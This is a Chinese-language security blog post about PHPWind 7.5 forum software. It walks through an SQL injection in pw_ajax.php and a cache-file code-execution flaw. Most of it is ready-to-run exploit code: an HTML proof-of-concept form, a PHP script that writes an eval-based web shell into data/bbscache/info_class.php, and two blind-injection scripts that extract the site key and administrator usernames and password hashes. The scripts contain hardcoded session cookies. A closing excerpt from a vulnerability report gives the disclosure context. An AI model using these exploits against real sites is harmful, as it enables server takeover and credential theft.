Phpwind 注入以及利用之一:远程代码执行

2010-09-05 21:32:13 0 4921
都是去年的东西了,拖啊拖,拖到今天9月份了,http://www.oldjun.com/blog/index.php/archives/68/文章底下我留了个铺垫...本来准备跟黑哥来个SOPW的专辑的...不过还没等我发,80sec的同学已经发出来了...那就算了,直接把注入以及利用写点blog吧...

想说的几点:

1.pw虽然过滤的很BT,但注入不止这一个点;
2.利用注入获取系统关键的db_siteownerid后,拿shell可以获得很大的帮助,包括这个代码执行,以及下面我要公布的上传;
3.去年我看原始的pw7.5的时候,也就是saiy没发布那个包含漏洞http://www.80vul.com/pwvul/phpwind.txt的时候,都不需要db_siteownerid,也就是直接的代码执行。(于是显然...saiy牛也应该很早就发现这个漏洞了...)

好了,先说注入,很明显很白痴的一个点,其实比代码执行好看多了,估计很多人就知道了,而且在很多版本中存在,如果不是过滤的严格一点,在pw7.5的sp3版本里可以update任意表的。

看代码:
...
} elseif ($action == 'pcdelimg') {
        InitGP(array('fieldname','pctype'));
        InitGP(array('tid','id'),2);
        if (!$tid || !$id || !$fieldname || !$pctype) {
                echo 'fail';
        }
        $id = (int)$id;
        if ($pctype == 'topic') {
                $tablename = GetTopcitable($id);
        } elseif ($pctype == 'postcate') {
                $tablename = GetPcatetable($id);
        }

        $path = $db->get_value("SELECT $fieldname FROM $tablename WHERE tid=". pwEscape($tid));

        if (strpos($path,'..') !== false) {
                return false;
        }
        $lastpos = strrpos($path,'/') + 1;
        $s_path = substr($path, 0, $lastpos) . 's_' . substr($path, $lastpos);

        if (!file_exists("$attachpath/$path")) {
                if (pwFtpNew($ftp,$db_ifftp)) {
                        $ftp->delete($path);
                        $ftp->delete($s_path);
                        pwFtpClose($ftp);
                }
        } else {
                P_unlink("$attachdir/$path");
                if (file_exists("$attachdir/$s_path")) {
                        P_unlink("$attachdir/$s_path");
                }
        }

        $db->update("UPDATE $tablename SET $fieldname='' WHERE tid=". pwEscape($tid));

        echo 'success';

        ajax_footer();
}
...
就是直接带进来,急死人(阿里的孩子)啦...我当年也针对db_siteownerid与管理员用户密码分别写了exp,不过注入的方法跟乌云里不一样。

下面说远程代码执行,pw整体写缓存,一个函数pw_var_export打遍天下,让你几乎无可趁之机,不过uc的应用里写缓存的时候,对于key有点没当回事,于是$class[cid]被直接带进去了:
...
function threadscateGory($classdb) {//生成帖子交换分类
   
        $classcache = "<?php\r\n\$info_class=array(\r\n";

        foreach ($classdb as $key => $class) {

            !$class['ifshow'] && $class['ifshow'] = '0';
            $flag && $info_class[$class['cid']]['ifshow'] && $class['ifshow'] = '1';

            $class['name'] = str_replace(array('"',"'"),array("&quot;","&#39;"),$class['name']);
            $classcache .= "'$class[cid]'=>".pw_var_export($class).",\r\n\r\n";
        }
        $classcache .= ");\r\n?>";
        writeover(D_P."data/bbscache/info_class.php",$classcache);
    }
...
于是,直接写可执行脚本进缓存,生成shell在data/bbscache/info_class.php!没什么悬念了!

贴个当年不需要db_siteid时候的poc:
<form method="post" action="http://127.0.0.1/phpwind/pw_api.php" enctype="multipart/form-data">
text:<input type="text" name="type" value="uc" size="80" /><br>
text:<input type="text" name="mode" value="Other" size="80" /><br>
text:<input type="text" name="method" value="threadscateGory" size="80" /><br>
text:<textarea name="params">a:1:{s:4:"cid'";a:1:{s:4:"cid'";a:1:{s:3:"cid";s:16:"1');phpinfo();/*";}}}</textarea><br>
text:<input type="text" name="sig" value="7a7f6173632485b4c3e6d3671da683a3" size="80" /><br>
<input type="submit" name="submit" value="提交" class="submit" /></td>
</form>
再贴个修改版本的:

放在可以执行php的web目录里访问,如果是老的不需要siteownerid的版本,提交参数type=uc,否则只需修改$db_siteownerid...
<?php
$pwurl='http://www.oldjun.com/phpwind';
$db_siteownerid='e82d4e6ede11349c421f1b43fd1f9333';

$arg='';
$request = array();
$request['mode'] = 'Other';
$request['method'] = 'threadscateGory';
$request['params'] = 'a:1:{s:3:"cid";a:1:{s:3:"cid";a:1:{s:3:"cid";s:21:"\'.eval($_GET[c]).\'abc";}}}';
//$request['params'] = 'a:1:{s:4:"cid\'";a:1:{s:4:"cid\'";a:1:{s:3:"cid";s:16:"1\');phpinfo();/*";}}}';//以前的poc
if($_GET['type']==uc){
        $request['type'] = 'uc';
        $db_siteownerid='';
}else{
        $request['type'] = 'app';
}
$request = strips($request);
ksort($request);
reset($request);
foreach ($request as $key => $value) {
        if ($value && $key != 'sig') {
                $arg .= "$key=$value&";
        }
}

$arg.='sig='.md5($arg.$db_siteownerid);

echo file_get_contents("$pwurl/pw_api.php?".$arg);
echo "\r\nSend OK!\r\n";

        function strips($param) {
                if (is_array($param)) {
                        foreach ($param as $key => $value) {
                                $param[$key] = strips($value);
                        }
                } else {
                        $param = stripslashes($param);
                }
                return $param;
        }

?>
贴几个注入的exp,一个是获取db_siteid的,一个获取管理员用户名密码的,由于需要登录,没写成自动获取cookie的,需要大家自行修改cookie与user_agent!

获取db_siteid:
<?
print_r('
--------------------------------------------------------------------------------
PHPWind v7.5  "ajax" SQL injection/db_siteid credentials disclosure exploit
BY oldjun([url]www.oldjun.com[/url])
--------------------------------------------------------------------------------
');

if ($argc<3) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path
host: target server (ip/hostname),without"http://"
path: path to phpwind
Example:
php '.$argv[0].' localhost /
--------------------------------------------------------------------------------
');
die;
}

function getrand($i)
{
for($j=0;$j<=$i-1;$j++)
{
  srand((double)microtime()*1000000);
  $randname=rand(!$j ? 1: 0,9);
  $randnum.=$randname;
}
return $randnum;
}

function sendpacketii($packet)
{
global  $host, $html;
$ock=fsockopen(gethostbyname($host),'80');
if (!$ock) {
echo 'No response from '.$host; die;
}
fputs($ock,$packet);
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$prefix="pw_";

//modify cookie and agent
$cookie="ac5bf_c_stamp=1262249995; ac5bf_lastpos=index; ac5bf_winduser=BlECAj4BBQYLCgUAVAMBVAUDAgVUBQMFD1YHWVRdU1ZUVwZXAm8%3D; ac5bf_ck_info=%2F%09; ac5bf_lastvisit=0%091262249995%09%2Findex.php%3Fu%3D2418; ac5bf_olid=12331; ac5bf_ipstate=1262249995; lstat_bc_1321047=25108016803970909784; lstat_ss_1321047=1_1262278680_3261065129";
$useragent="Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ;oldjun; .NET CLR 2.0.50727)";

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/'))
{echo 'Error... check the path!'; die;}

/*get   $prefix*/
$packet ="GET ".$path."pw_ajax.php?action=pcdelimg&pctype=topic&id=1 HTTP/1.0\r\n";
$packet.="User-Agent: ".$useragent."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (eregi("in your SQL syntax",$html))
{
$temp=explode("FROM ",$html);
if(isset($temp[1])){$temp2=explode("topicvalue1",$temp[1]);}
if($temp2[0])
$prefix=$temp2[0];
echo "[+]prefix -> ".$prefix."\n";
echo "[~]exploting now,plz waiting\r\n";
}else{
die("Wrong path or not Login!!!\r\n".$html);
}

/*get db_siteid*/
$chars[0]=0;//null
$chars=array_merge($chars,range(30,39)); //hex-numbers
$chars=array_merge($chars,range(61,66));//hex- a-f letters
$db_siteid="";$str="";$sql="";
while (strlen($db_siteid)<32)
{
for ($i=30; $i<=66; $i++)
{
if (in_array($i,$chars))
{
$sql="0x".$str.$i."25";
$packet ="GET ".$path."pw_ajax.php?action=pcdelimg&fieldname=db_name/**/from/**/".$prefix."config/**/where/**/db_name/**/like/**/0x64625F736974656964/**/and/**/db_value/**/like/**/".$sql."/**/union/**/select/**/0x312E2E31%23&id=1 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: ".$useragent."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
//die($html);
if (!eregi("fail",$html))
{
$str=$str.$i;
$db_siteid.=hex2asc($i);
echo"[+]pwd:".$db_siteid."\r\n";break;}
}
if ($i==66) {die("Exploit failed...");}
}
}
print_r('
--------------------------------------------------------------------------------
[+]db_siteid -> '.$db_siteid.'
--------------------------------------------------------------------------------
');
function is_hash($hash)
{
if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
else {return false;}
}
if (is_hash($db_siteid)) {echo "Exploit succeeded...";}
else {echo "Exploit failed...";}

function hex2asc($str) {
        $str = join('',explode('\x',$str));
        $len = strlen($str);
        for ($i=0;$i<$len;$i+=2) $data.=chr(hexdec(substr($str,$i,2)));
        return $data;
}
function asc2hex($str){
        $hex=base_convert($str,10,16);
        return strlen($hex)==2?$hex:"0".$hex;
}
?>
获取管理员用户名密码:
<?
print_r('
--------------------------------------------------------------------------------
PHPWind v7.5  "ajax" SQL injection/admin credentials disclosure exploit
BY oldjun([url]www.oldjun.com[/url])
--------------------------------------------------------------------------------
');

if ($argc<4) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path
host: target server (ip/hostname),without"http://"
path: path to phpwind
Example:
php '.$argv[0].' localhost / 1
--------------------------------------------------------------------------------
');
die;
}

function getrand($i)
{
for($j=0;$j<=$i-1;$j++)
{
  srand((double)microtime()*1000000);
  $randname=rand(!$j ? 1: 0,9);
  $randnum.=$randname;
}
return $randnum;
}

function sendpacketii($packet)
{
global  $host, $html;
$ock=fsockopen(gethostbyname($host),'80');
if (!$ock) {
echo 'No response from '.$host; die;
}
fputs($ock,$packet);
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$uid=$argv[3];
$prefix="pw_";

//modify cookie and agent
$cookie="admin_att=att; tl0_sid=8A7JT5; 744aa_lastpos=other; 744aa_ol_offset=97; 744aa_ipstate=1262920914; 744aa_threadlog=%2C2%2C; 744aa_readlog=%2C91%2C96%2C; 744aa_AdminUser=CQMOUV1WA1EBBD1ZAQwIXW8BCFMNUVIGBQQDUQUJVgRZBQIHWlIPAVEHUlUBUQBeUWg%3D; 744aa_admin_att=watermark;  744aa_jobpop=0; 744aa_winduser=CTgMBgBRVlEAAwcNVgcFAQQKWgEMBwAFBQdSAgVZA1dTAG8%3D; 744aa_ck_info=%2F%09";
$useragent="Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ;oldjun; .NET CLR 2.0.50727)";

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/'))
{echo 'Error... check the path!'; die;}

/*get   $prefix*/
$packet ="GET ".$path."pw_ajax.php?action=pcdelimg&pctype=topic&id=1 HTTP/1.0\r\n";
$packet.="User-Agent: ".$useragent."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (eregi("in your SQL syntax",$html))
{
$temp=explode("FROM ",$html);
if(isset($temp[1])){$temp2=explode("topicvalue1",$temp[1]);}
if($temp2[0])
$prefix=$temp2[0];
echo "[+]prefix -> ".$prefix."\n";
echo "[~]exploting now,plz waiting\r\n";
}else{
die("Wrong path or not Login!!!\r\n".$html);
}

/*get password*/
$chars[0]=0;//null
$chars=array_merge($chars,range(30,39)); //hex-numbers
$chars=array_merge($chars,range(61,66));//hex- a-f letters
$password="";$str="";$sql="";
while (strlen($password)<32)
{
for ($i=30; $i<=66; $i++)
{
if (in_array($i,$chars))
{
$sql="0x".$str.$i."25";
$packet ="GET ".$path."pw_ajax.php?action=pcdelimg&fieldname=username/**/from/**/".$prefix."members/**/where/**/uid/**/like/**/".$uid."/**/and/**/password/**/like/**/".$sql."/**/union/**/select/**/0x312E2E31%23&id=1 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: ".$useragent."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
//die($html);
if (!eregi("fail",$html))
{
$str=$str.$i;
$password.=hex2asc($i);
echo"[+]pwd:".$password."\r\n";break;}
}
if ($i==66) {die("Exploit failed...");}
}
}

/*get username*/
$j=0;$username="";$str="";$sql="";
while (!strstr($username,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
$j=asc2hex($i);
if($j!=25){
$sql="0x".$str.$j."25";
$packet ="GET ".$path."pw_ajax.php?action=pcdelimg&fieldname=username/**/from/**/".$prefix."members/**/where/**/uid/**/like/**/".$uid."/**/and/**/username/**/like/**/".$sql."/**/union/**/select/**/0x312E2E31%23&id=1 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: ".$useragent."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (!eregi("fail",$html))
{
$str=$str.$j;
$username.=strtolower(hex2asc($j));
echo"[+]username:".$username."\r\n";break;}
}
if ($i==255) {echo "Finished...\r\n";$over=1;}
}
if($over==1){break;}
}
print_r('
--------------------------------------------------------------------------------
[+]username -> '.$username.'
[+]password(md5 32λ) -> '.$password.'
--------------------------------------------------------------------------------
');
function is_hash($hash)
{
if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
else {return false;}
}
if (is_hash($password)) {echo "Exploit succeeded...";}
else {echo "Exploit failed...";}

function hex2asc($str) {
        $str = join('',explode('\x',$str));
        $len = strlen($str);
        for ($i=0;$i<$len;$i+=2) $data.=chr(hexdec(substr($str,$i,2)));
        return $data;
}
function asc2hex($str){
        $hex=base_convert($str,10,16);
        return strlen($hex)==2?$hex:"0".$hex;
}
?>
---------------------------------------分割线------------------------------------------

早上回公司早以前的exp,看到以前一份文档,才想起来,注入漏洞已经于2010年1月18日提交国家漏洞库,下面是当时的标准文档的部分内容:

一、漏洞介绍
1.漏洞介绍
PHPWind 7.5版本中的pw_ajax.php文件中当action为pcdelimg时,$fieldname未进行有效过滤,可以任意构造数据进行提交,从而造成SQL注入漏洞。

2.漏洞危害(危害等级高)
PHPWind 7.5版本,可以通过注入获取管理员用户名以及密码,从而获取网站的控制权。

二、漏洞细节
1、        Pw_ajax.php文件:
//漏洞出现下$action 为pcdelimg的时候,某些用户提交的变量,程序没有进行充分过滤,而直接带入查询,导致SQL注入。

elseif ($action == 'pcdelimg') {
InitGP(array('fieldname','pctype'));//获取提交的fieldname值
InitGP(array('tid','id'),2);
if (!$tid || !$id || !$fieldname || !$pctype) {
echo 'fail';
}
$id = (int)$id;
if ($pctype == 'topic') {
$tablename = GetTopcitable($id);
} elseif ($pctype == 'postcate') {
$tablename = GetPcatetable($id);
}

$path = $db->get_value("SELECT $fieldname FROM $tablename WHERE tid=". pwEscape($tid));//直接带入数据库查询

if (strpos($path,'..') !== false) {
return false;
}
$lastpos = strrpos($path,'/') + 1;
$s_path = substr($path, 0, $lastpos) . 's_' . substr($path, $lastpos);

if (!file_exists("$attachpath/$path")) {
if (pwFtpNew($ftp,$db_ifftp)) {
$ftp->delete($path);
$ftp->delete($s_path);
pwFtpClose($ftp);
}
} else {
P_unlink("$attachdir/$path");
if (file_exists("$attachdir/$s_path")) {
P_unlink("$attachdir/$s_path");
}
}

$db->update("UPDATE $tablename SET $fieldname='' WHERE tid=". pwEscape($tid));

echo 'success';

ajax_footer();
}
2、        虽然程序有过滤,但是还是可以通过盲注绕过:
//首先看看require文件夹下的common.php文件,提交的变量通过InitGP函数获得,从函数可以看到InitGP获取的是GET或者POST提交的内容。
function InitGP($keys,$method=null,$cvtype=1){//0=null,1=Char_cv,2=int
//Copyright (c) 2003-09 PHPWind
!is_array($keys) && $keys = array($keys);
foreach ($keys as $key) {
if ($key == 'GLOBALS') continue;
$GLOBALS[$key] = NULL;
if ($method != 'P' && isset($_GET[$key])) {
$GLOBALS[$key] = $_GET[$key];
} elseif ($method != 'G' && isset($_POST[$key])) {
$GLOBALS[$key] = $_POST[$key];
}
if (isset($GLOBALS[$key]) && !empty($cvtype) || $cvtype==2) {
$GLOBALS[$key] = Char_cv($GLOBALS[$key],$cvtype==2,true);
}
}
}
//再看看根目录下的global.php文件,里面使用Checkvar函数对用户提交的GET与POST变量进行了处理。
foreach ($_POST as $_key => $_value) {
if (!in_array($_key,array('atc_content','atc_title','prosign','pwuser','pwpwd'))) {
CheckVar($_POST[$_key]);
}
}
foreach ($_GET as $_key => $_value) {
CheckVar($_GET[$_key]);
}
//最后再看看require下common.php里的CheckVar函数,可以看到只是处理了一部分符号。
function CheckVar(&$var) {
if (is_array($var)) {
foreach ($var as $key => $value) {
CheckVar($var[$key]);
}
} elseif (P_W != 'admincp') {
$var = str_replace(array('..',')','<','='),array('&#46;&#46;','&#41;','&#60;','&#61;'),$var);
} elseif (str_replace(array('<iframe','<meta','<script'),'',$var)!=$var) {
global $basename;
$basename = 'javascript:history.go(-1);';
adminmsg('word_error');
}
}

关于作者

oldjun132篇文章575篇回复

评论0次

要评论?请先  登录  或  注册